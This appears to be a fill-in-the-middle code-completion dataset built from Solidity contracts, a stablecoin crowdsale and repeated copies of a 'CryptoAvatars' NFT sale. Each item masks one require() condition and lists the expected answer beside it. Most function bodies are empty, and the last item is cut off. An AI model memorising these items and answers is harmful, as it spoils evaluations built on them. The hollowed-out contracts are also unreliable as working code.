abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
abstract contract Whitelist is Ownable {
mapping (address => bool) private _members;
event MemberAdded(address member);
event MemberRemoved(address member);
function isMember(address _member) public view returns(bool) {
}
function addMember(address _member) public onlyOwner {
}
function removeMember(address _member) public onlyOwner {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
}
modifier nonReentrant() {
}
}
interface IDepository {
function deposit(address owner, uint256 amount) external;
}
contract Crowdsale is Whitelist, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token = IERC20(0xc878c93B5087887B908331Fcf8809B2C958cc5Ec); // ARK
uint256 private _phaseOneEndTime;
uint256 private _phaseTwoEndTime;
uint256 private _phaseOneRate = 10;
uint256 private _phaseTwoRate = 5;
mapping (IERC20 => bool) private _stableCoins;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor () {
}
function hasClosed() public view returns (bool) {
}
function phaseOneEndTime() external view returns (uint256) {
}
function phaseTwoEndTime() external view returns (uint256) {
}
function phaseOneRate() external view returns (uint256) {
}
function phaseTwoRate() external view returns (uint256) {
}
function buyTokens(address purchaser, address beneficiary, IERC20 stableCoin, uint256 amount) external nonReentrant {
require(!hasClosed(), "Crowdsale: already closed");
require(isMember(purchaser), "Crowdsale: Not purchaser of whitelist.");
require(<FILL_ME>)
stableCoin.safeTransferFrom(purchaser, address(this), amount);
if (stableCoin.decimals() < _token.decimals()) {
amount = amount * 10 ** uint256(_token.decimals() - stableCoin.decimals());
}
uint256 tokens = amount.mul(_phaseOneRate);
if (block.timestamp > _phaseOneEndTime && block.timestamp < _phaseTwoEndTime) {
tokens = amount.mul(_phaseTwoRate);
}
_token.safeTransfer(beneficiary, tokens);
emit TokensPurchased(_msgSender(), beneficiary, amount, tokens);
}
function withdraw(IERC20 stableCoin, address beneficiary) external onlyOwner {
}
}
| _stableCoins[stableCoin],"Crowdsale: invalid stable token" | 326,045 | _stableCoins[stableCoin] |
"Sale end" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
import "./ERC721Pausable.sol";
contract CryptoAvatars is VRFConsumerBase, ERC721Enumerable, Ownable, ERC721Burnable, ERC721Pausable {
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
uint256 public constant MAX_ELEMENTS = 10000;
uint256 public constant ELEMENTS_PER_TIER = 1000;
uint256 public constant START_PRICE = 0.2 ether;
uint256 public constant PRICE_CHANGE_PER_TIER = 110; // price up 10% every tier
uint256 public constant MAX_BY_MINT = 20;
uint256 public constant BLOCKS_PER_MONTH = 199384; // assume each block is 13s, 1 month = 3600 * 24 * 30 / 13
address public immutable devAddress;
string public baseTokenURI;
bytes32 public immutable baseURIProof;
uint256 public jackpot;
uint256 public jackpotRemaining;
address public phase1Winner;
bool public phase1JackpotClaimed = false;
uint256 public phase2StartBlockNumber;
uint256 public phase2EndBlockNumber;
uint256 public phase2WinnerTokenID;
bool public phase2Revealed = false;
bool public phase2JackpotClaimed = false;
bytes32 internal chainlinkKeyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445;
bytes32 internal chainlinkRequestID;
uint256 private chainlinkFee = 2e18;
event CreateAvatar(uint256 indexed id);
event WinPhase1(address addr);
event WinPhase2(uint256 tokenID);
event ClaimPhase1Jackpot(address addr);
event ClaimPhase2Jackpot(address addr);
event Reveal();
event RevealPhase2();
struct State {
uint256 maxElements;
uint256 startPrice;
uint256 maxByMint;
uint256 elementsPerTier;
uint256 jackpot;
uint256 jackpotRemaining;
uint256 phase1Jackpot;
uint256 phase2Jackpot;
address phase1Winner;
uint256 phase2EndBlockNumber;
uint256 phase2WinnerTokenID;
bool phase2Revealed;
uint8 currentPhase;
uint256 currentTier;
uint256 currentPrice;
uint256 totalSupply;
bool paused;
}
/**
* @dev base token URI will be replaced after reveal
*
* @param baseURI set placeholder base token URI before revealing
* @param dev dev address
* @param proof final base token URI to reveal
*/
constructor(
string memory baseURI,
address dev,
bytes32 proof
)
VRFConsumerBase(
0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, // VRF Coordinator
0x514910771AF9Ca656af840dff83E8264EcF986CA // LINK Token
)
ERC721("CryptoAvatars", "AVA")
{
}
// ******* modifiers *********
modifier saleIsOpen {
require(<FILL_ME>)
if (_msgSender() != owner()) {
require(!paused(), "Pausable: paused");
}
_;
}
modifier saleIsEnd {
}
modifier onlyPhase1Winner {
}
modifier onlyPhase2Winner(uint256 tokenID) {
}
modifier onlyPhase2 {
}
modifier onlyPhase2AllowReveal {
}
modifier onlyPhase2Revealed {
}
// ********* public view functions **********
/**
* @notice total number of tokens minted
*/
function totalMint() public view returns (uint256) {
}
/**
* @notice current tier, start from 1 to 10
*/
function tier() public view returns (uint256) {
}
/**
* @notice get tier price of a specified tier
*
* @param tierN tier index, start from 1 to 10
*/
function tierPrice(uint256 tierN) public pure returns (uint256) {
}
/**
* @notice get the total price if you want to buy a number of avatars now
*
* @param count the number of avatars you want to buy
*/
function price(uint256 count) public view returns (uint256) {
}
/**
* @notice get all token IDs of CryptoAvatars of a address
*
* @param owner owner address
*/
function walletOfOwner(address owner) external view returns (uint256[] memory) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
/**
* @notice get current state
*/
function state() public view returns (State memory) {
}
// ********* public functions **********
/**
* @notice purchase avatars
*
* @notice extra eth sent will be refunded
*
* @param count the number of avatars you want to purchase in one transaction
*/
function purchase(uint256 count) public payable saleIsOpen {
}
// ********* public onwer functions **********
/**
* @notice reveal the metadata of avatars
*
* @notice the baseURI should be equal to the proof when creating contract
* @notice metadata is immutable from the beginning of the contract
*/
function reveal(string memory baseURI) public onlyOwner {
}
/**
* @notice pause or unpause the contract
*/
function pause(bool val) public onlyOwner {
}
/**
* @notice reveal the winner token ID of phase 2
*
* @notice Chainlink VRF is used to generate the random token ID
*
* @dev make sure to transfer LINK to the contract before revealing
* @dev check chainlinkRequestID in callback
*/
function revealPhase2() public onlyOwner onlyPhase2AllowReveal {
}
/**
* @notice Call incase failed to generate random token ID from chainlink
*
* @notice community should check if owner use chainlink to reveal phase 2 jackpot,
* @notice it's better to add timelock to this action.
*
* @notice if we failed to generate random from chainlink, owner should generate random token id
* @notice in another contract under the governance of community, then manually update the winner token id
*/
function forceRevealPhase2(uint256 tokenID) public onlyOwner onlyPhase2AllowReveal {
}
/**
* @notice Call incase current ipfs gateway broken
*
* @notice community should check if owner call reveal method first,
* @notice it's better to add timelock to this action.
*
* @notice IPFS CID should be unchanged
*/
function forceSetBaseTokenURI(string memory baseURI) public onlyOwner {
}
/**
* @notice withdraw the balance except jackpotRemaining
*/
function withdraw() public onlyOwner {
}
/**
* @notice Requests randomness
*
* @dev manually call this method to check Chainlink works well
*/
function getRandomNumber() public virtual onlyOwner returns (bytes32 requestId) {
}
/**
* @notice set fee paid for Chainlink VRF
*/
function setChainlinkFee(uint256 fee) public onlyOwner {
}
// ********* public winner functions **********
/**
* @notice claim phase 1 jackpot by phase 1 winner
*/
function claimPhase1Jackpot() public whenNotPaused saleIsEnd onlyPhase1Winner {
}
/**
* @notice claim phase 2 jackpot by phase 2 winner
*/
function claimPhase2Jackpot() public
whenNotPaused
onlyPhase2
onlyPhase2Revealed
onlyPhase2Winner(phase2WinnerTokenID)
{
}
// ****** internal functions ******
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _totalSupply() internal virtual view returns (uint) {
}
function _priceChangePerTier() internal virtual pure returns (uint256) {
}
/**
* @notice Callback function used by VRF Coordinator
*
* @dev check requestId, callback is in a sperate transaction
* @dev do not revert in this method, chainlink will not retry to callback if reverted
* @dev to prevent chainlink from controling the contract, only allow the first callback to change state
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
}
// ******* private functions ********
function _mintOne(address _to) private {
}
function _transfer(address _address, uint256 _amount) private {
}
/**
* @dev return current ceil count for current supply
*
* @dev total supply = 0, ceil = 1000
* @dev total supply = 1, ceil = 1000
* @dev total supply = 999, ceil = 1000
* @dev total supply = 1000, ceil = 2000
* @dev total supply = 9999, ceil = 10000
* @dev total supply = 10000, ceil = 10000
*/
function _ceil(uint256 totalSupply) internal pure returns (uint256) {
}
}
| _totalSupply()<MAX_ELEMENTS,"Sale end" | 326,050 | _totalSupply()<MAX_ELEMENTS |
"Sale not end" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
import "./ERC721Pausable.sol";
contract CryptoAvatars is VRFConsumerBase, ERC721Enumerable, Ownable, ERC721Burnable, ERC721Pausable {
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
uint256 public constant MAX_ELEMENTS = 10000;
uint256 public constant ELEMENTS_PER_TIER = 1000;
uint256 public constant START_PRICE = 0.2 ether;
uint256 public constant PRICE_CHANGE_PER_TIER = 110; // price up 10% every tier
uint256 public constant MAX_BY_MINT = 20;
uint256 public constant BLOCKS_PER_MONTH = 199384; // assume each block is 13s, 1 month = 3600 * 24 * 30 / 13
address public immutable devAddress;
string public baseTokenURI;
bytes32 public immutable baseURIProof;
uint256 public jackpot;
uint256 public jackpotRemaining;
address public phase1Winner;
bool public phase1JackpotClaimed = false;
uint256 public phase2StartBlockNumber;
uint256 public phase2EndBlockNumber;
uint256 public phase2WinnerTokenID;
bool public phase2Revealed = false;
bool public phase2JackpotClaimed = false;
bytes32 internal chainlinkKeyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445;
bytes32 internal chainlinkRequestID;
uint256 private chainlinkFee = 2e18;
event CreateAvatar(uint256 indexed id);
event WinPhase1(address addr);
event WinPhase2(uint256 tokenID);
event ClaimPhase1Jackpot(address addr);
event ClaimPhase2Jackpot(address addr);
event Reveal();
event RevealPhase2();
struct State {
uint256 maxElements;
uint256 startPrice;
uint256 maxByMint;
uint256 elementsPerTier;
uint256 jackpot;
uint256 jackpotRemaining;
uint256 phase1Jackpot;
uint256 phase2Jackpot;
address phase1Winner;
uint256 phase2EndBlockNumber;
uint256 phase2WinnerTokenID;
bool phase2Revealed;
uint8 currentPhase;
uint256 currentTier;
uint256 currentPrice;
uint256 totalSupply;
bool paused;
}
/**
* @dev base token URI will be replaced after reveal
*
* @param baseURI set placeholder base token URI before revealing
* @param dev dev address
* @param proof final base token URI to reveal
*/
constructor(
string memory baseURI,
address dev,
bytes32 proof
)
VRFConsumerBase(
0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, // VRF Coordinator
0x514910771AF9Ca656af840dff83E8264EcF986CA // LINK Token
)
ERC721("CryptoAvatars", "AVA")
{
}
// ******* modifiers *********
modifier saleIsOpen {
}
modifier saleIsEnd {
require(<FILL_ME>)
_;
}
modifier onlyPhase1Winner {
}
modifier onlyPhase2Winner(uint256 tokenID) {
}
modifier onlyPhase2 {
}
modifier onlyPhase2AllowReveal {
}
modifier onlyPhase2Revealed {
}
// ********* public view functions **********
/**
* @notice total number of tokens minted
*/
function totalMint() public view returns (uint256) {
}
/**
* @notice current tier, start from 1 to 10
*/
function tier() public view returns (uint256) {
}
/**
* @notice get tier price of a specified tier
*
* @param tierN tier index, start from 1 to 10
*/
function tierPrice(uint256 tierN) public pure returns (uint256) {
}
/**
* @notice get the total price if you want to buy a number of avatars now
*
* @param count the number of avatars you want to buy
*/
function price(uint256 count) public view returns (uint256) {
}
/**
* @notice get all token IDs of CryptoAvatars of a address
*
* @param owner owner address
*/
function walletOfOwner(address owner) external view returns (uint256[] memory) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
/**
* @notice get current state
*/
function state() public view returns (State memory) {
}
// ********* public functions **********
/**
* @notice purchase avatars
*
* @notice extra eth sent will be refunded
*
* @param count the number of avatars you want to purchase in one transaction
*/
function purchase(uint256 count) public payable saleIsOpen {
}
// ********* public onwer functions **********
/**
* @notice reveal the metadata of avatars
*
* @notice the baseURI should be equal to the proof when creating contract
* @notice metadata is immutable from the beginning of the contract
*/
function reveal(string memory baseURI) public onlyOwner {
}
/**
* @notice pause or unpause the contract
*/
function pause(bool val) public onlyOwner {
}
/**
* @notice reveal the winner token ID of phase 2
*
* @notice Chainlink VRF is used to generate the random token ID
*
* @dev make sure to transfer LINK to the contract before revealing
* @dev check chainlinkRequestID in callback
*/
function revealPhase2() public onlyOwner onlyPhase2AllowReveal {
}
/**
* @notice Call incase failed to generate random token ID from chainlink
*
* @notice community should check if owner use chainlink to reveal phase 2 jackpot,
* @notice it's better to add timelock to this action.
*
* @notice if we failed to generate random from chainlink, owner should generate random token id
* @notice in another contract under the governance of community, then manually update the winner token id
*/
function forceRevealPhase2(uint256 tokenID) public onlyOwner onlyPhase2AllowReveal {
}
/**
* @notice Call incase current ipfs gateway broken
*
* @notice community should check if owner call reveal method first,
* @notice it's better to add timelock to this action.
*
* @notice IPFS CID should be unchanged
*/
function forceSetBaseTokenURI(string memory baseURI) public onlyOwner {
}
/**
* @notice withdraw the balance except jackpotRemaining
*/
function withdraw() public onlyOwner {
}
/**
* @notice Requests randomness
*
* @dev manually call this method to check Chainlink works well
*/
function getRandomNumber() public virtual onlyOwner returns (bytes32 requestId) {
}
/**
* @notice set fee paid for Chainlink VRF
*/
function setChainlinkFee(uint256 fee) public onlyOwner {
}
// ********* public winner functions **********
/**
* @notice claim phase 1 jackpot by phase 1 winner
*/
function claimPhase1Jackpot() public whenNotPaused saleIsEnd onlyPhase1Winner {
}
/**
* @notice claim phase 2 jackpot by phase 2 winner
*/
function claimPhase2Jackpot() public
whenNotPaused
onlyPhase2
onlyPhase2Revealed
onlyPhase2Winner(phase2WinnerTokenID)
{
}
// ****** internal functions ******
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _totalSupply() internal virtual view returns (uint) {
}
function _priceChangePerTier() internal virtual pure returns (uint256) {
}
/**
* @notice Callback function used by VRF Coordinator
*
* @dev check requestId, callback is in a sperate transaction
* @dev do not revert in this method, chainlink will not retry to callback if reverted
* @dev to prevent chainlink from controling the contract, only allow the first callback to change state
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
}
// ******* private functions ********
function _mintOne(address _to) private {
}
function _transfer(address _address, uint256 _amount) private {
}
/**
* @dev return current ceil count for current supply
*
* @dev total supply = 0, ceil = 1000
* @dev total supply = 1, ceil = 1000
* @dev total supply = 999, ceil = 1000
* @dev total supply = 1000, ceil = 2000
* @dev total supply = 9999, ceil = 10000
* @dev total supply = 10000, ceil = 10000
*/
function _ceil(uint256 totalSupply) internal pure returns (uint256) {
}
}
| _totalSupply()>=MAX_ELEMENTS,"Sale not end" | 326,050 | _totalSupply()>=MAX_ELEMENTS |
"Not phase 1 winner" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
import "./ERC721Pausable.sol";
contract CryptoAvatars is VRFConsumerBase, ERC721Enumerable, Ownable, ERC721Burnable, ERC721Pausable {
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
uint256 public constant MAX_ELEMENTS = 10000;
uint256 public constant ELEMENTS_PER_TIER = 1000;
uint256 public constant START_PRICE = 0.2 ether;
uint256 public constant PRICE_CHANGE_PER_TIER = 110; // price up 10% every tier
uint256 public constant MAX_BY_MINT = 20;
uint256 public constant BLOCKS_PER_MONTH = 199384; // assume each block is 13s, 1 month = 3600 * 24 * 30 / 13
address public immutable devAddress;
string public baseTokenURI;
bytes32 public immutable baseURIProof;
uint256 public jackpot;
uint256 public jackpotRemaining;
address public phase1Winner;
bool public phase1JackpotClaimed = false;
uint256 public phase2StartBlockNumber;
uint256 public phase2EndBlockNumber;
uint256 public phase2WinnerTokenID;
bool public phase2Revealed = false;
bool public phase2JackpotClaimed = false;
bytes32 internal chainlinkKeyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445;
bytes32 internal chainlinkRequestID;
uint256 private chainlinkFee = 2e18;
event CreateAvatar(uint256 indexed id);
event WinPhase1(address addr);
event WinPhase2(uint256 tokenID);
event ClaimPhase1Jackpot(address addr);
event ClaimPhase2Jackpot(address addr);
event Reveal();
event RevealPhase2();
struct State {
uint256 maxElements;
uint256 startPrice;
uint256 maxByMint;
uint256 elementsPerTier;
uint256 jackpot;
uint256 jackpotRemaining;
uint256 phase1Jackpot;
uint256 phase2Jackpot;
address phase1Winner;
uint256 phase2EndBlockNumber;
uint256 phase2WinnerTokenID;
bool phase2Revealed;
uint8 currentPhase;
uint256 currentTier;
uint256 currentPrice;
uint256 totalSupply;
bool paused;
}
/**
* @dev base token URI will be replaced after reveal
*
* @param baseURI set placeholder base token URI before revealing
* @param dev dev address
* @param proof final base token URI to reveal
*/
constructor(
string memory baseURI,
address dev,
bytes32 proof
)
VRFConsumerBase(
0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, // VRF Coordinator
0x514910771AF9Ca656af840dff83E8264EcF986CA // LINK Token
)
ERC721("CryptoAvatars", "AVA")
{
}
// ******* modifiers *********
modifier saleIsOpen {
}
modifier saleIsEnd {
}
modifier onlyPhase1Winner {
require(phase1Winner != address(0), "Zero address");
require(<FILL_ME>)
_;
}
modifier onlyPhase2Winner(uint256 tokenID) {
}
modifier onlyPhase2 {
}
modifier onlyPhase2AllowReveal {
}
modifier onlyPhase2Revealed {
}
// ********* public view functions **********
/**
* @notice total number of tokens minted
*/
function totalMint() public view returns (uint256) {
}
/**
* @notice current tier, start from 1 to 10
*/
function tier() public view returns (uint256) {
}
/**
* @notice get tier price of a specified tier
*
* @param tierN tier index, start from 1 to 10
*/
function tierPrice(uint256 tierN) public pure returns (uint256) {
}
/**
* @notice get the total price if you want to buy a number of avatars now
*
* @param count the number of avatars you want to buy
*/
function price(uint256 count) public view returns (uint256) {
}
/**
* @notice get all token IDs of CryptoAvatars of a address
*
* @param owner owner address
*/
function walletOfOwner(address owner) external view returns (uint256[] memory) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
/**
* @notice get current state
*/
function state() public view returns (State memory) {
}
// ********* public functions **********
/**
* @notice purchase avatars
*
* @notice extra eth sent will be refunded
*
* @param count the number of avatars you want to purchase in one transaction
*/
function purchase(uint256 count) public payable saleIsOpen {
}
// ********* public onwer functions **********
/**
* @notice reveal the metadata of avatars
*
* @notice the baseURI should be equal to the proof when creating contract
* @notice metadata is immutable from the beginning of the contract
*/
function reveal(string memory baseURI) public onlyOwner {
}
/**
* @notice pause or unpause the contract
*/
function pause(bool val) public onlyOwner {
}
/**
* @notice reveal the winner token ID of phase 2
*
* @notice Chainlink VRF is used to generate the random token ID
*
* @dev make sure to transfer LINK to the contract before revealing
* @dev check chainlinkRequestID in callback
*/
function revealPhase2() public onlyOwner onlyPhase2AllowReveal {
}
/**
* @notice Call incase failed to generate random token ID from chainlink
*
* @notice community should check if owner use chainlink to reveal phase 2 jackpot,
* @notice it's better to add timelock to this action.
*
* @notice if we failed to generate random from chainlink, owner should generate random token id
* @notice in another contract under the governance of community, then manually update the winner token id
*/
function forceRevealPhase2(uint256 tokenID) public onlyOwner onlyPhase2AllowReveal {
}
/**
* @notice Call incase current ipfs gateway broken
*
* @notice community should check if owner call reveal method first,
* @notice it's better to add timelock to this action.
*
* @notice IPFS CID should be unchanged
*/
function forceSetBaseTokenURI(string memory baseURI) public onlyOwner {
}
/**
* @notice withdraw the balance except jackpotRemaining
*/
function withdraw() public onlyOwner {
}
/**
* @notice Requests randomness
*
* @dev manually call this method to check Chainlink works well
*/
function getRandomNumber() public virtual onlyOwner returns (bytes32 requestId) {
}
/**
* @notice set fee paid for Chainlink VRF
*/
function setChainlinkFee(uint256 fee) public onlyOwner {
}
// ********* public winner functions **********
/**
* @notice claim phase 1 jackpot by phase 1 winner
*/
function claimPhase1Jackpot() public whenNotPaused saleIsEnd onlyPhase1Winner {
}
/**
* @notice claim phase 2 jackpot by phase 2 winner
*/
function claimPhase2Jackpot() public
whenNotPaused
onlyPhase2
onlyPhase2Revealed
onlyPhase2Winner(phase2WinnerTokenID)
{
}
// ****** internal functions ******
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _totalSupply() internal virtual view returns (uint) {
}
function _priceChangePerTier() internal virtual pure returns (uint256) {
}
/**
* @notice Callback function used by VRF Coordinator
*
* @dev check requestId, callback is in a sperate transaction
* @dev do not revert in this method, chainlink will not retry to callback if reverted
* @dev to prevent chainlink from controling the contract, only allow the first callback to change state
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
}
// ******* private functions ********
function _mintOne(address _to) private {
}
function _transfer(address _address, uint256 _amount) private {
}
/**
* @dev return current ceil count for current supply
*
* @dev total supply = 0, ceil = 1000
* @dev total supply = 1, ceil = 1000
* @dev total supply = 999, ceil = 1000
* @dev total supply = 1000, ceil = 2000
* @dev total supply = 9999, ceil = 10000
* @dev total supply = 10000, ceil = 10000
*/
function _ceil(uint256 totalSupply) internal pure returns (uint256) {
}
}
| _msgSender()==phase1Winner,"Not phase 1 winner" | 326,050 | _msgSender()==phase1Winner |
"Not phase 2 winner" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
import "./ERC721Pausable.sol";
contract CryptoAvatars is VRFConsumerBase, ERC721Enumerable, Ownable, ERC721Burnable, ERC721Pausable {
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
uint256 public constant MAX_ELEMENTS = 10000;
uint256 public constant ELEMENTS_PER_TIER = 1000;
uint256 public constant START_PRICE = 0.2 ether;
uint256 public constant PRICE_CHANGE_PER_TIER = 110; // price up 10% every tier
uint256 public constant MAX_BY_MINT = 20;
uint256 public constant BLOCKS_PER_MONTH = 199384; // assume each block is 13s, 1 month = 3600 * 24 * 30 / 13
address public immutable devAddress;
string public baseTokenURI;
bytes32 public immutable baseURIProof;
uint256 public jackpot;
uint256 public jackpotRemaining;
address public phase1Winner;
bool public phase1JackpotClaimed = false;
uint256 public phase2StartBlockNumber;
uint256 public phase2EndBlockNumber;
uint256 public phase2WinnerTokenID;
bool public phase2Revealed = false;
bool public phase2JackpotClaimed = false;
bytes32 internal chainlinkKeyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445;
bytes32 internal chainlinkRequestID;
uint256 private chainlinkFee = 2e18;
event CreateAvatar(uint256 indexed id);
event WinPhase1(address addr);
event WinPhase2(uint256 tokenID);
event ClaimPhase1Jackpot(address addr);
event ClaimPhase2Jackpot(address addr);
event Reveal();
event RevealPhase2();
struct State {
uint256 maxElements;
uint256 startPrice;
uint256 maxByMint;
uint256 elementsPerTier;
uint256 jackpot;
uint256 jackpotRemaining;
uint256 phase1Jackpot;
uint256 phase2Jackpot;
address phase1Winner;
uint256 phase2EndBlockNumber;
uint256 phase2WinnerTokenID;
bool phase2Revealed;
uint8 currentPhase;
uint256 currentTier;
uint256 currentPrice;
uint256 totalSupply;
bool paused;
}
/**
* @dev base token URI will be replaced after reveal
*
* @param baseURI set placeholder base token URI before revealing
* @param dev dev address
* @param proof final base token URI to reveal
*/
constructor(
string memory baseURI,
address dev,
bytes32 proof
)
VRFConsumerBase(
0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, // VRF Coordinator
0x514910771AF9Ca656af840dff83E8264EcF986CA // LINK Token
)
ERC721("CryptoAvatars", "AVA")
{
}
// ******* modifiers *********
modifier saleIsOpen {
}
modifier saleIsEnd {
}
modifier onlyPhase1Winner {
}
modifier onlyPhase2Winner(uint256 tokenID) {
require(_msgSender() != address(0), "Zero address");
require(<FILL_ME>)
_;
}
modifier onlyPhase2 {
}
modifier onlyPhase2AllowReveal {
}
modifier onlyPhase2Revealed {
}
// ********* public view functions **********
/**
* @notice total number of tokens minted
*/
function totalMint() public view returns (uint256) {
}
/**
* @notice current tier, start from 1 to 10
*/
function tier() public view returns (uint256) {
}
/**
* @notice get tier price of a specified tier
*
* @param tierN tier index, start from 1 to 10
*/
function tierPrice(uint256 tierN) public pure returns (uint256) {
}
/**
* @notice get the total price if you want to buy a number of avatars now
*
* @param count the number of avatars you want to buy
*/
function price(uint256 count) public view returns (uint256) {
}
/**
* @notice get all token IDs of CryptoAvatars of a address
*
* @param owner owner address
*/
function walletOfOwner(address owner) external view returns (uint256[] memory) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
/**
* @notice get current state
*/
function state() public view returns (State memory) {
}
// ********* public functions **********
/**
* @notice purchase avatars
*
* @notice extra eth sent will be refunded
*
* @param count the number of avatars you want to purchase in one transaction
*/
function purchase(uint256 count) public payable saleIsOpen {
}
// ********* public onwer functions **********
/**
* @notice reveal the metadata of avatars
*
* @notice the baseURI should be equal to the proof when creating contract
* @notice metadata is immutable from the beginning of the contract
*/
function reveal(string memory baseURI) public onlyOwner {
}
/**
* @notice pause or unpause the contract
*/
function pause(bool val) public onlyOwner {
}
/**
* @notice reveal the winner token ID of phase 2
*
* @notice Chainlink VRF is used to generate the random token ID
*
* @dev make sure to transfer LINK to the contract before revealing
* @dev check chainlinkRequestID in callback
*/
function revealPhase2() public onlyOwner onlyPhase2AllowReveal {
}
/**
* @notice Call incase failed to generate random token ID from chainlink
*
* @notice community should check if owner use chainlink to reveal phase 2 jackpot,
* @notice it's better to add timelock to this action.
*
* @notice if we failed to generate random from chainlink, owner should generate random token id
* @notice in another contract under the governance of community, then manually update the winner token id
*/
function forceRevealPhase2(uint256 tokenID) public onlyOwner onlyPhase2AllowReveal {
}
/**
* @notice Call incase current ipfs gateway broken
*
* @notice community should check if owner call reveal method first,
* @notice it's better to add timelock to this action.
*
* @notice IPFS CID should be unchanged
*/
function forceSetBaseTokenURI(string memory baseURI) public onlyOwner {
}
/**
* @notice withdraw the balance except jackpotRemaining
*/
function withdraw() public onlyOwner {
}
/**
* @notice Requests randomness
*
* @dev manually call this method to check Chainlink works well
*/
function getRandomNumber() public virtual onlyOwner returns (bytes32 requestId) {
}
/**
* @notice set fee paid for Chainlink VRF
*/
function setChainlinkFee(uint256 fee) public onlyOwner {
}
// ********* public winner functions **********
/**
* @notice claim phase 1 jackpot by phase 1 winner
*/
function claimPhase1Jackpot() public whenNotPaused saleIsEnd onlyPhase1Winner {
}
/**
* @notice claim phase 2 jackpot by phase 2 winner
*/
function claimPhase2Jackpot() public
whenNotPaused
onlyPhase2
onlyPhase2Revealed
onlyPhase2Winner(phase2WinnerTokenID)
{
}
// ****** internal functions ******
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _totalSupply() internal virtual view returns (uint) {
}
function _priceChangePerTier() internal virtual pure returns (uint256) {
}
/**
* @notice Callback function used by VRF Coordinator
*
* @dev check requestId, callback is in a sperate transaction
* @dev do not revert in this method, chainlink will not retry to callback if reverted
* @dev to prevent chainlink from controling the contract, only allow the first callback to change state
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
}
// ******* private functions ********
function _mintOne(address _to) private {
}
